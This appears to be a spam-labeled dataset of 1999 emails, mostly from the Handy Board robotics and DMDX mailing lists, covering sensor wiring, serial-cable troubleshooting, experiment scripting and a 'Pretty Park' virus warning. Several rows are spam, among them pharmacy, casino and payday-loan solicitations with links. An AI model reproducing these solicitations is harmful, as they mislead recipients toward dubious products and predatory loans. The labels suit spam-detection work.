______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Terry Gathright ,"Alex Stewart , handyboard@media.mit.edu","Tue, 30 Nov 1999 17:09:08 -0600",Re: Sharp GP2D12 (analog version) troubles,"Hello Alex, I ordered two GP2DO2's from www.acroname.com a while back that worked great and am currently ordering two GP2DO12's. Sorry that I cannot help solve your problem now but please post the solution for the mail list when someone responds. Thanks,Terry -----Original Message----- From: Alex Stewart To: handyboard@media.mit.edu Date: Tuesday, November 30, 1999 4:00 PM Subject: Sharp GP2D12 (analog version) troubles >Hi > Recently Got a sharp Gp2D12 IR ranger , for those who dont know it >continusly gives a analog value in proportion to the distance to a object. >Problem: When I wired it up I got a constant 147-150 no matter were the >object was. Unplugged sensor I got 2?? so I know the port works. Any Ideis? >Could it be the 47k pull up? I heard it could be , and to fix you cut the >trace for one of the ports top disable the pull up, but which one ?? tried >cutting analog 6 but then analog 6 wouldnt work? Help > >Thanx > >Robotman > > >P.S. Resolderd little gap I cut and analog 6 was restored. >Is there a web site with answers to above? > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com",0,1 Angelia Kendall ,Dana ,"Wed, 01 Dec 1999 00:05:39 +0500",US Drugs,"Need some love pi11s? So, why go to your local dr@gstore? Why waste time and extra money? Why let people know about your intimate life? Evil-wishers are always around to spread rumors. We give you the issue! Make a quick, secure and ABSOLUTELY CONFIDENTIAL purchase online and receive your LICENSED love life enhancer right to your door! No privacy exposure, no time wasted, no exorbitant pri$es! Start a super life now! http://lbbqie.volumesky.info/?afvbcwghtfgl Our store is VERIFIED BY BBB! All transactions are APPROVED BY VISA! http://lbbqie.volumesky.info/?afvbcwghtfgl out http://lbbqie.volumesky.info/?dlvdlvkryruycwghtfgl ",1,1 Gary Livick ,Terry Gathright ,"Tue, 30 Nov 1999 15:31:59 -0800",Re: Sharp GP2D12 (analog version) troubles,"Terry, I posted this awhile back. Somebody asked the other day about a problem interfacing the Sharp GP2D12. I didn't see an answer, and I just did it myself and solved the problem, so here is how to do it. For those who don't know, Sharp just came out with an IR ranging sensor good out to about 30 inches that provides an analog signal related to range. The signal is not linear, but that can be dealt with in software. The area examined by the sensor is very narrow, so by mounting it on a small servo and sweeping it while gathering range data, a lot if information can be obtained about the immediate surroundings. The GP2D12 has a few advantages over sonar; 1. it is good down to about 5"", 2. it is less than $15.00, 3. it refreshes about every 32 ms, and 4. it does not require a driver, you just plug it in and start reading data. Hooking it up has one small gotcha with the HandyBoard and probably most of the other MIT-spawned boards as well. The output of the sensor wants to see a floating pin, but the analog inputs on the HandyBoard are pulled high by RP3, a 47k resistor pack. To connect the sensor to the HandyBoard, you have to cut a trace so the input can float on that pin. That is easy enough to do, as the traces on the main board are easy to identify, and easy to repair if you change your mind later and want to restore the pin to normal. However, some care must be taken to choose a pin for an input. If you just cut a trace for a pin at random, due to the way the circuit is layed out you may just isolate the input pin from the HC11 instead of removing the pull-up voltage. Unless you want to figure out what I'm talking about, use analog 5 to connect your GP2D12. Trimming the trace between RP3 and that pin has the anticipated result. The sensors are available at http://www.acroname.com Check out some of my robots in the gallery while you are there. Gary Livick Terry Gathright wrote: > Hello Alex, > I ordered two GP2DO2's from www.acroname.com a while back that worked great > and am currently ordering two GP2DO12's. Sorry that I cannot help solve > your problem now but please post the solution for the mail list when someone > responds. > Thanks,Terry > -----Original Message----- > From: Alex Stewart > To: handyboard@media.mit.edu > Date: Tuesday, November 30, 1999 4:00 PM > Subject: Sharp GP2D12 (analog version) troubles > > >Hi > > Recently Got a sharp Gp2D12 IR ranger , for those who dont know it > >continusly gives a analog value in proportion to the distance to a object. > >Problem: When I wired it up I got a constant 147-150 no matter were the > >object was. Unplugged sensor I got 2?? so I know the port works. Any Ideis? > >Could it be the 47k pull up? I heard it could be , and to fix you cut the > >trace for one of the ports top disable the pull up, but which one ?? tried > >cutting analog 6 but then analog 6 wouldnt work? Help > > > >Thanx > > > >Robotman > > > > > >P.S. Resolderd little gap I cut and analog 6 was restored. > >Is there a web site with answers to above? > > > >______________________________________________________ > >Get Your Private, Free Email at http://www.hotmail.com",0,1 Terry Gathright ,Gary Livick ,"Tue, 30 Nov 1999 20:20:22 -0600",Re: Sharp GP2D12 (analog version) troubles,"Gary Thanks for the info. Is it possible to connect and operate more than one GP2D12 to the handyboard at the same time? I wanted to work with four or more at the same time. Thanks, Terry -----Original Message----- From: Gary Livick To: Terry Gathright Cc: Alex Stewart ; handyboard@media.mit.edu Date: Tuesday, November 30, 1999 5:51 PM Subject: Re: Sharp GP2D12 (analog version) troubles >Terry, > >I posted this awhile back. > > >Somebody asked the other day about a problem interfacing the Sharp >GP2D12. I didn't see an answer, and I just did it myself and solved the >problem, so here is how to do it. > >For those who don't know, Sharp just came out with an IR ranging sensor >good out to about 30 inches that provides an analog signal related to >range. The signal is not linear, but that can be dealt with in >software. The area examined by the sensor is very narrow, so by >mounting it on a small servo and sweeping it while gathering range data, >a lot if information can be obtained about the immediate surroundings. > >The GP2D12 has a few advantages over sonar; 1. it is good down to about >5"", 2. it is less than $15.00, 3. it refreshes about every 32 ms, and >4. it does not require a driver, you just plug it in and start reading >data. > >Hooking it up has one small gotcha with the HandyBoard and probably most >of the other MIT-spawned boards as well. The output of the sensor wants >to see a floating pin, but the analog inputs on the HandyBoard are >pulled high by RP3, a 47k resistor pack. To connect the sensor to the >HandyBoard, you have to cut a trace so the input can float on that pin. >That is easy enough to do, as the traces on the main board are easy to >identify, and easy to repair if you change your mind later and want to >restore the pin to normal. However, some care must be taken to choose a >pin for an input. If you just cut a trace for a pin at random, due to >the way the circuit is layed out you may just isolate the input pin from >the HC11 instead of removing the pull-up voltage. Unless you want to >figure out what I'm talking about, use analog 5 to connect your GP2D12. >Trimming the trace between RP3 and that pin has the anticipated result. > >The sensors are available at http://www.acroname.com Check out some of >my robots in the gallery while you are there. > >Gary Livick > > > >Terry Gathright wrote: > >> Hello Alex, >> I ordered two GP2DO2's from www.acroname.com a while back that worked great >> and am currently ordering two GP2DO12's. Sorry that I cannot help solve >> your problem now but please post the solution for the mail list when someone >> responds. >> Thanks,Terry >> -----Original Message----- >> From: Alex Stewart >> To: handyboard@media.mit.edu >> Date: Tuesday, November 30, 1999 4:00 PM >> Subject: Sharp GP2D12 (analog version) troubles >> >> >Hi >> > Recently Got a sharp Gp2D12 IR ranger , for those who dont know it >> >continusly gives a analog value in proportion to the distance to a object. >> >Problem: When I wired it up I got a constant 147-150 no matter were the >> >object was. Unplugged sensor I got 2?? so I know the port works. Any Ideis? >> >Could it be the 47k pull up? I heard it could be , and to fix you cut the >> >trace for one of the ports top disable the pull up, but which one ?? tried >> >cutting analog 6 but then analog 6 wouldnt work? Help >> > >> >Thanx >> > >> >Robotman >> > >> > >> >P.S. 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Eg. 100 ""word1"" / ""50ms_silence"" / ""word2"" /; - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Dec 1999 11:08:02 -0700",[DMDX] Re: scrambling and branching,"At 02:55 PM 12/1/99 +0000, you wrote: >Hi. I am having problems with using both scrambling and conditional >branching. It seems as if the scrambling ignores the fact there is >conditional branching and takes items from the later branches. That's the idea. Make you destination items fixed and if nothing useful is to go there make them skipped items: $ 100 c; $ +1 ""tgt"" * ; +2 ""tgt"" * ; +3 ""tgt"" * ; +4 ""tgt"" * ; $ 0 c; $ -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Law of Probable Dispersal: Whatever it is that hits the fan will not be evenly distributed.",0,0 Gary Livick ,Terry Gathright ,"Wed, 01 Dec 1999 09:23:18 -0800",Re: Sharp GP2D12 (analog version) troubles,"I have only hooked up one, so I am unsure if there are other traces besides the one for analog5 that are so conveniently arranged. You can study the circuit board photos on the Handy Board site (I think they are in the assembly instructions) and figure it out, which is a little tedious. That is the probably the best way. However, for maximum flexibility, you can remove RP3, the 47k resistor pack, and use individual pull-up resistors on the inputs that need it, and float the ones you need for something else. Be sure to study the schematics first to make sure Fred didn't sneak one of the ports off for dual duty somewhere else. Seems to me he does haul a few off to the expansion board. Good Luck! Gary Livick Terry ( and Alex had the same question) Gathright wrote: > > Is it possible to connect and operate more than one GP2D12 to the handyboard > at the same time? > I wanted to work with four or more at the same time. > Thanks, Terry ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Dec 1999 15:59:46 -0500",[DMDX] Triggering external devices with PIO12,"I am interested in exemplar scripts for DMASTR or DMDX that illustrate triggering and external device with a PIO12. I have not been able to locate information on how to specify output from the PIO12, only the input. best regards, John ___________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 James Munro ,handyboard@media.mit.edu,"Thu, 02 Dec 1999 03:23:44 +0000",(no subject),"I checked the archives for this one but couldn't find the response that might fix it so I apologize in advance for the umteenth time at asking this. I'm currently building the HB and have completed the charger board. All the voltages work out fine save for the last one which reads at about 3.5 volts where it should be +9 to +10 or so. Is this a problem with something that I'm not aware of? Everything works fine but I did get enough of my HB done to figure out it's not loading the pcode_hb.s19. The green light on the serial connector board isn't lighting. Any hints from someone who's had this problem? Thanks, -Jim Munro http://www.xnet.com/~jimmn/robotics.htm",0,1 Colin Latham ,dmdx@psy1.psych.arizona.edu,"Wed, 01 Dec 1999 18:33:54 -0400",Fortune smiled on us,"It was the cloaked shape of The Shadow. From the car, Margo Lane and John Smith watched the black-clad form blend with the darkness of the shrubbery. $888 FREE B0NUS The luckiesstB0nus on the Net! 60+ CAZINOGAMES Highest Jackp0t Ever $1,700,000 Live WebCam Pretty Dealers ;) _c1ick_here_and test your F0RTTUNE! ""If you can call them such. Anyway, they're all dead, Jose Durez and his friends. I suppose I'll come in for blame, because they lost their cash before they died.""",1,1 James Munro ,handyboard@media.mit.edu,"Thu, 02 Dec 1999 04:56:13 +0000",Serial hookup follow-up,"Oops. I realize I didn't provide much info in my previous post so I'll try more explicit. I've built the entire charger/serial interface unit and was following the final debug steps but was stopped at the last step of 3.2.2 in the assembly manual. The manual says: Finally, the MAX232’s ability to transmit data to the host computer is tested. Again using pin 7 of J9 as a ground reference, measure the voltage at pin 3 of J9. This is the MAX232’s serial output. It should read between _9 and _10 volts. Now temporarily jumper the _10 volt supply (pin 6 of the MAX232) to pin 10 of the MAX232, which is the input side of this output stage. Again measure the voltage at pin 3 of J9—it should now read between + 9 and+ 10 volts. Well, this is where I'm off. I read ~3.5 volts. I'm using the MAX232ACPE part. Might there be a defect? I've checked my soldering and things look okay. Also, when I attempt to download the pcode_hb.s19 I'm not getting anything to communicate. The green TX led on the serial board is not lighting at all when I mess around with the wiring. I'm using a standard db25 M to F rs-232C cable. I've wired up a DB9 to DB25 cable to see if it was my serial port but when I attach it, the green light goes on and doesn't go off. Data still doesn't appear to be coming through the serial board. I'm at a loss as to what might be wrong. Thanks again! Jim Munro http://www.xnet.com/~jimmn/robotics.htm",0,1 ForgetAboutNextWeek ,"""handyboard@media.mit.edu"" ","Wed, 01 Dec 1999 20:46:20 -0700",Get 1500 by tomorrow handyboard@media.mit.edu," 5/6/2006 - 5:43 PM Hi Elmer@em.ca, Take care of the pile of bills. It takes less than an hour to be approved for up to fifteen hundred dollars. http://grnspd.bargainbuyercenter-now.net/Redir.aspx?id=438368&email=Elmer@em.ca *Apply Online *No Background Checks *Easy Application - Nothing to Fax Get approved today. Apply online for your payday loan now. http://grnspd.bargainbuyercenter-now.net/Redir.aspx?id=438368&email=Elmer@em.ca Internet Cash Advance Marketing, Inc. 2000-1066 West Hastings Street Vancouver, B.C. V6E 3X2 Remove Link: http://grnspd.bargainbuyercenter-now.net/Redir.aspx?id=438369&email=Elmer@em.ca This message is a solicitation. If you wish to opt-out from further bargainbuyernetwork.net e-mails, please proceed here. http://grnspd.bargainbuyercenter-now.net/settings.asp?gspdid=100324&setid=270&email=Elmer@em.ca&so=83657363 You can also write to us at: bargainbuyernetwork.net Opt-Out Department 6311 Van Nuys Blvd #403 Van Nuys, CA 91401 ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Dec 1999 09:58:57 -0700",[DMDX] Re: Triggering external devices with PIO12,"At 03:59 PM 12/1/99 -0500, you wrote: >I am interested in exemplar scripts for DMASTR or DMDX that illustrate >triggering and external device with a PIO12. I have not been able to >locate information on how to specify output from the PIO12, only the input. Try , ie sets all the output lines low, sets them all high and sets them all low except bit 5. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Pay no attention to the man behind the curtain."" - The Wizard Of Oz",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Dec 1999 10:00:01 -0700",[DMDX] Re: scrambling and branching,"At 10:28 AM 12/2/99 +0000, you wrote: >I'm sorry I don't understand your answer. When I run the the file in my >first message, such that there is greater than 45% error, so it should run >the items 1-9 scrambled in 3 blocks of 3, the items from the second branch, >items 101 to 109 get displayed too. The branching works fine, but the >scrambling selects any set of three from either block. How can I make it >so that DMDX will only select items within the correct branch only? Below >is a zil output from running that file. I made no responses in the first >block so defaulted to the branch of items 1-9, yet it displayed items from >the second branch, items 101-109. You need to use the scramble emit character, a backslash one a line by itself. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Pay no attention to the man behind the curtain."" - The Wizard Of Oz ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Dec 1999 18:11:16 +0000",[DMDX] Re: scrambling and branching,"> You need to use the scramble emit character, a backslash one a line by >itself. Thanks. Got this working perfect now. Is this documented in the DMDX documentation? I had a look and can't see anything although I have now found it in the DMastr documentation (I should have looked there earlier!). - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Dec 1999 12:18:27 -0700",[DMDX] Re: scrambling and branching,"At 06:11 PM 12/2/99 +0000, you wrote: >> You need to use the scramble emit character, a backslash one a line by >>itself. > >Thanks. Got this working perfect now. Is this documented in the DMDX >documentation? I had a look and can't see anything although I have now >found it in the DMastr documentation (I should have looked there earlier!). No it's not in the DMDX docs. The DMDX help file is a track record of the things that are new to DMDX, I haven't tried to document the things that are the same. Scramble code is legacy stuff from DM days, I've fixed the odd bug here and there and removed arbitrary limits in it, very little of it differs from what it was when Ken wrote it nearly fifteen years ago. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Law of Probable Dispersal: Whatever it is that hits the fan will not be evenly distributed. ",0,0 James Munro ,handyboard@media.mit.edu,"Thu, 02 Dec 1999 17:44:05 +0000",Problem worked out,"Well, I haven't figured out what is wrong but I've worked around my serial problems. For the record it was mostly a problem of cables. I was using a DB25 M to F rs232 cable and that didn't seem to connect correctly. I was using a male to male adaptor, I don't know what if any effect that might have had. But I noticed on Kam Leang's site he was using a DB9 to DB25 cable so I tried one of those and it works perfectly. The max232 chip still doesn't line up with the 2.3.3 testing tip but if it works, then that's fine with me! ;) Cheers, Jim Munro",0,0 Mr Morgan Hayward ,handyboard@media.mit.edu,"Fri, 03 Dec 1999 00:34:57 -0800",forget hospitals?,"it bradshaw not woman try terminus it vasectomy try eject ",1,0 Kah Mun ,handyboard@media.mit.edu,"Fri, 03 Dec 1999 03:27:47 +0000",servo control,"Hi, can somebody help me with my problem, please? 1. the 'servo_a7.icb' and 'servo_a7.asm' files have been downloaded from the Handyboard page and they are free of Ctrl M's or Ctrl J's. however, when i try loading the 'servo_a7.icb' file, i get Fatal Internal Error: Illegal Line in .s19 file. what's the problem and what's the remedy? 2. could you give me a simple example of how the ""int servo_a7_pulse"" and ""int servo_a7_init(int enable)"" can be used to control the servo. i don't understand how or where they fit in. please reply soon. thanx km ",0,0 Kah Mun ,handyboard@media.mit.edu,"Fri, 03 Dec 1999 04:27:45 +0000",memory,"a quick simple question: if i have to reload the pcode_hb.s19, do i need to delete the one which is currently on there? i tried reloading the file without deleting the old one but it said that the port cannot be opened. is that a connection problem? km ",0,0 Kam K Leang ,Kah Mun ,"Fri, 03 Dec 1999 00:14:35 -0700",Re: servo control,"Kah, Reply to 1. Go to the HB site and under the software FAQ ""IC Won't Load my ICB Files"", download the 'i2u.exe' file and use it to strip the CTRL-M from your files. See if this helps. Good luck, -kam http://www.mech.utah.edu/~kleang On Fri, 3 Dec 1999, Kah Mun wrote: > Hi, > > can somebody help me with my problem, please? > > 1. the 'servo_a7.icb' and 'servo_a7.asm' files have been downloaded from the > Handyboard page and they are free of Ctrl M's or Ctrl J's. however, when i try > loading the 'servo_a7.icb' file, i get > > Fatal Internal Error: Illegal Line in .s19 file. > > what's the problem and what's the remedy? > > 2. could you give me a simple example of how the ""int servo_a7_pulse"" and ""int > servo_a7_init(int enable)"" can be used to control the servo. i don't understand > how or where they fit in. > > please reply soon. thanx > > > km > Great minds discuss ideas; Average minds discuss events; Small minds discuss people. --unknown ======================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 (801) 581-7105 http://www.mech.utah.edu/~kleang ======================================================== ",0,1 Fred G Martin ,handyboard@media.mit.edu,"Fri, 03 Dec 1999 07:57:45 -0500","please delete ""Pretty Park.exe""","hi everyone, some bozo sent us spam with a virus on it. make sure to delete ""Pretty Park.exe"". i'm reporting the spam. it's a little confusing 'cause in the copy we received, it doesn't have handyboard@media as a destination anywhere. if spam problems on the list ramp up, i'll have to disabled the handyboard@media address and require people to go through the LUGNET gateway, which does provide some spam protection. fred ",0,0 Martin Dupras ,"""handyboard@media.mit.edu"" ","Fri, 03 Dec 1999 14:13:51 +0000",Where is dl for unix?,"Hi, I need to get the dl program to load the bootstrap code on my handyboard. I seem to remember that it used to live on the handyboard site with the contribution code, but I've pretty much had a look everywhere and could not find it. Anyone knows where can I find it? Thanks a million. - martin ",0,0 kah mun ,handyboard@media.mit.edu,"Fri, 03 Dec 1999 16:09:08 +0000",decoupling capacitors," If i'm not going to use a separate power supply for the motors, it is advisable to use decoupling capacitors, right? what type of capacitors, what's its ratings (10uF or 1uF or?), and between which terminals should i connect it to? please reply soon. km ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Fri, 03 Dec 1999 17:00:23 +0000",Re: Where is dl for unix?,"they're in the IC distribution tar file. see the link for Unix versions at fred. In lugnet.robotics.handyboard, Martin Dupras writes: >Hi, > >I need to get the dl program to load the bootstrap code on my >handyboard. I seem to remember that it used to live on the handyboard >site with the contribution code, but I've pretty much had a look >everywhere and could not find it. > >Anyone knows where can I find it? > >Thanks a million. > >- martin",0,1 Wayne Crosbie ,handyboard@media.mit.edu,"Fri, 03 Dec 1999 17:26:07 +0000",pcode for 20x4 LCD,"I picked up the 20x4 LCD at bgmicro, and it works fine. I have pcode for 20x2 successfully running, simply by re-compiling with the LCD_COLS set to 20. Does anyone have the mods required to support all 4 lines of the display? It looks to be beyond my programming skills. thanks, Wayne ",0,0 ludo soete ,handyboard@media.mit.edu,"Fri, 03 Dec 1999 17:44:23 +0000",Re: pcode for 20x4 LCD,"In lugnet.robotics.handyboard, Wayne Crosbie writes: >I picked up the 20x4 LCD at bgmicro, and it works fine. I have pcode for 20x2 >successfully running, simply by re-compiling with the LCD_COLS set to 20. Does >anyone have the mods required to support all 4 lines of the display? It looks >to be beyond my programming skills. > >thanks, > >Wayne I think that i can help you. I do have the data sheets of the 'OPTREX DOT MATRIX LCD MODULE' It contains 47 pages,but i can filter the most interesting ones out for you,especially the ones on how to program the full 80 characters + the definition of your own characters. contact me at the following address: ludo.soete@village.uunet.be if you're interested for the info. regards, Ludo ",0,0 """Curt Mills, WE7U"" ","""Fred G. Martin"" ","Fri, 03 Dec 1999 10:15:21 -0800",Re: Where is dl for unix?,"On Fri, 3 Dec 1999, Fred G. Martin wrote: > they're in the IC distribution tar file. see the link for Unix versions at > Another note regarding this: The dl that I'm using is an a.out version rather than an elf executable, and I quite often need to use it on a Red Hat 6.x version of Linux. Red Hat 6.0 and later doesn't have a.out support running automatically, so as root you need to load ""/lib/modules//fs/binfmt_aout.o"" ""insmod binfmt_aout.o"" is the command I think. I don't remember whether you need the "".o"" or not, but use ""insmod binfmt_aout"" if not. For those that are curious: a.out is the old executable format used for Linux, and elf is the newer format. The command above just adds in a kernel module to the running kernel to enable it to recognize and use a.out executables. It will have no ill effects. The other fix for this problem is to recompile dl from sources, but I haven't gotten around to doing this yet. Once I do that it'll be an elf executable. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,1 DaveS ,"Fred G Martin , handyboard@media.mit.edu","Fri, 03 Dec 1999 16:26:08 -0800","Re: please delete ""Pretty Park.exe""","Hi - If you got it from a chineese named person it may not have been 'spam'. We got it at work and it wiped out one of our guy's computer completely. I got it from a somewhat familiar sounding name (chineese) but erased it last night because I knew what it was. Did not even want it in the deleted folder (sorta wish I had kept it for tracking purposes now). Please do not run it - it is very nasty and is spread through the e-mail. Regards - Dave ----- Original Message ----- From: Fred G Martin To: Sent: Friday, December 03, 1999 4:57 AM Subject: please delete ""Pretty Park.exe"" > hi everyone, some bozo sent us spam with a virus on it. make sure > to delete ""Pretty Park.exe"". i'm reporting the spam. it's a little > confusing 'cause in the copy we received, it doesn't have handyboard@media > as a destination anywhere. > > if spam problems on the list ramp up, i'll have to disabled the > handyboard@media address and require people to go through the LUGNET > gateway, which does provide some spam protection. > > fred >",0,0 hw@xs4all.nl,handyboard@media.mit.edu,"Sat, 04 Dec 1999 00:46:43 +0000",pcbug11 EEPROM problem,"Hi all, I hope you can help me with this: I am trying to get the talkeree installed on eeprom and when i use these commands ms $1035 0 eeprom $b600 $b7ff eeprom erase loads talkeree $b600 verf talkeree The verifying goes wrong. It bassically tells me that all bytes are wrong. And that's not surprising considering the fact that a 'db $b600' results in zero's only. So it seems that nothing has been written at all... Does anybody of you have an idea what causes this and how I can fix it? For the record i'm using a ""Botboard 2"". I don't think that makes any difference with the handyboard in this case though. Byebye, Hans ",0,0 Davis Albert ,"handyboard@media.mit.edu, katelyn@media.mit.edu, allyson@media.mit.edu, victor@media.mit.edu","Fri, 03 Dec 1999 15:55:54 -0500","sags under your eyes, we can help","not fragrant not smithfield on algaecide not abed try oldster ",1,0 Faris Gammoh ,Handy Board Mailing List ,"Fri, 03 Dec 1999 23:29:26 -0800",Virus,"kjlee This is the person I received the email from, I think all of you will confirm the same name.... Kwang-Joo Lee Artificial Intelligence Lab Dept. of Computer Engineering Seoul National University Seoul 151-742, Korea Office: 301-417 Phone: +82-2-880-1835 Fax: +82-2-875-2240 Email: kjlee@scai.snu.ac.kr Personal home page: http://scai.snu.ac.kr/~kjlee ",0,1 Kah Mun ,handyboard@media.mit.edu,"Sat, 04 Dec 1999 05:06:26 +0000",Servomotor," i'm using digital pin 9 to generate the control signal for my TS-53 servo. however when i try to make it move, it only turns a little bit for the first command but just stops there, the motor continues vibrating though. the idea behind my code: set servo position to '3040', then wait 10 seconds. After that turn to '2000', wait 10 seconds and then back to '3040'. if the stop button is pressed, the loop terminates. void main() { fd(1); /* turns on motor driver 1 */ servo_a7_init(1); /* enables digital pin 9 (Port A bit 7) */ while (stop_button()==0) { servo_a7_pulse=3040; /*gives a 1.5 ms pulse sleep(10.0); servo_a7_pulse=2000; sleep(10.0); } ao(); servo_a7_init(0); /* disables digital pi 9 } /* end*/ please help!! ",0,0 William Sitch ,"Faris Gammoh , Handy Board Mailing List ","Sat, 04 Dec 1999 00:09:56 -0800",RE: Virus,"kjleeUh, before anyone starts a witch-hunt, I'd suggest you examine the headers a little more closely. The message didn't come from this guy. Even if they did, I still wouldn't send him emails or bother him in any way - it's too easy to fake headers, spoof posting-servers, or use unsecure relay hosts. The list was hit probably by some script-kiddie. Anyone who runs EXE files from people they don't know - and when they aren't expecting a file to be sent - almost deserves the pain of de-virusing. A little common sense, coupled with a resident virus scanner (McAfee, Norton), is enough to protect yourself. Remember to update your DAT files regularly. -- William Sitch, B.E.Eng (1999) OCIECE Masters of Electrical Engineering -----Original Message----- From: Faris Gammoh [mailto:fgammo@po-box.mcgill.ca] Sent: Friday, December 03, 1999 11:29 PM To: Handy Board Mailing List Cc: KwangJu, Lee Subject: Virus This is the person I received the email from, I think all of you will confirm the same name.... Kwang-Joo Lee Artificial Intelligence Lab Dept. of Computer Engineering Seoul National University Seoul 151-742, Korea Office: 301-417 Phone: +82-2-880-1835 Fax: +82-2-875-2240 Email: kjlee@scai.snu.ac.kr Personal home page: http://scai.snu.ac.kr/~kjlee ",0,1 Evil Mechatron ,Faris Gammoh ,"Sat, 04 Dec 1999 11:32:12 -0500",Suggestions for Virus Management,"I'm inclined to agree. These things are not easy to trace. I think this guy was one of those people who wouldn't process the unsubscribe correctly. But, honestly, I can't find his name in my records. So really, I don't know who this guy is, let alone try to get an idea of whether or not he's ticked-off with our group... Recently, I had a virus sent to me by a reputable company. The guy who sent it to me was somebody I knew enough to trust with an attachment. His email address book had been compromised when he downloaded something. After I got the virus, I had to notify everybody that I correspond with.... Frankly, I can relate to Mr. Gammoh's anger. I don't take kindly to my data/property being vandalized by anyone. This sort of action is the sort of thing I'm inclined to open a can of whoopass over. These sorts of things are not easily tracked. It's also like being shafted on the highway. You can spend hours following someone to exact revenge... or just let it go. Honestly, it's better to let it go. Upset is what these people live for... My suggestion: Run virus checks regularly. Back regularly... You're damned to have to deal with this crap. Unfortunately, there's no law enforcement in this medium. Actually, I think that would make it worse. This is a small price to pay to share ideas with people like yourselves. At least, that's how I see it... I am proud to be part of this learning exchange. I feel that I have benefited greatly from it. My lab has made new business contacts and grown from the insights that you've all offered. I continue to look forward to the new things I can learn from all of you... Kent Faris Gammoh wrote: > This is the person I received the email >from,I think all of you will > confirm the same name.... > > ",0,0 Faris Gammoh ,Evil Mechatron ,"Sat, 04 Dec 1999 11:33:03 -0800",Re: Suggestions for Virus Management,"Thanks a lot Kent for the advice, I would like to appologize to the Handy Board List and to Mr. Lee for writing about this. I have not been hit by the virus, and I hope most of you didnt get hit by it either. I hope that our discussions about this issue would end so that we can get back to the more interesting subject of Robotics and the HB. Faris ----- Original Message ----- From: Evil Mechatron To: Faris Gammoh Cc: Handy Board Mailing List ; KwangJu, Lee Sent: Saturday, December 04, 1999 8:32 AM Subject: Suggestions for Virus Management I'm inclined to agree. These things are not easy to trace. I think this guy was one of those people who wouldn't process the unsubscribe correctly. But, honestly, I can't find his name in my records. So really, I don't know who this guy is, let alone try to get an idea of whether or not he's ticked-off with our group... Recently, I had a virus sent to me by a reputable company. The guy who sent it to me was somebody I knew enough to trust with an attachment. His email address book had been compromised when he downloaded something. After I got the virus, I had to notify everybody that I correspond with.... Frankly, I can relate to Mr. Gammoh's anger. I don't take kindly to my data/property being vandalized by anyone. This sort of action is the sort of thing I'm inclined to open a can of whoopass over. These sorts of things are not easily tracked. It's also like being shafted on the highway. You can spend hours following someone to exact revenge... or just let it go. Honestly, it's better to let it go. Upset is what these people live for... My suggestion: Run virus checks regularly. Back regularly... You're damned to have to deal with this crap. Unfortunately, there's no law enforcement in this medium. Actually, I think that would make it worse. This is a small price to pay to share ideas with people like yourselves. At least, that's how I see it... I am proud to be part of this learning exchange. I feel that I have benefited greatly from it. My lab has made new business contacts and grown from the insights that you've all offered. I continue to look forward to the new things I can learn from all of you... Kent Faris Gammoh wrote: This is the person I received the email >from,I think all of you will confirm the same name.... Kwang-Joo Lee Artificial Intelligence Lab Dept. of Computer Engineering Seoul National University Seoul 151-742, Korea Office: 301-417 Phone: +82-2-880-1835 Fax: +82-2-875-2240 Email: kjlee@scai.snu.ac.kr Personal home page: http://scai.snu.ac.kr/~kjlee ",0,1 Richard Drushel ,handyboard@media.mit.edu,"Sat, 04 Dec 1999 13:50:31 -0500",plaintext ettiquette reminder," Will you people with web-based or GUI-based E-mail clients *please* observe the following plaintext ettiquette rules? (1) turn off HTML (2) turn off vcards (3) turn off images in your .signature (4) don't send any kinds of binary attachments Vielen Dank, *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,0 DaveS ,"Evil Mechatron , Faris Gammoh ","Sat, 04 Dec 1999 13:59:29 -0800",Re: Suggestions for Virus Management,"Hi - Yes I too received this virus - I did not open it though. We had a copy of it sent to where I work so I knew of it. I hope that very few 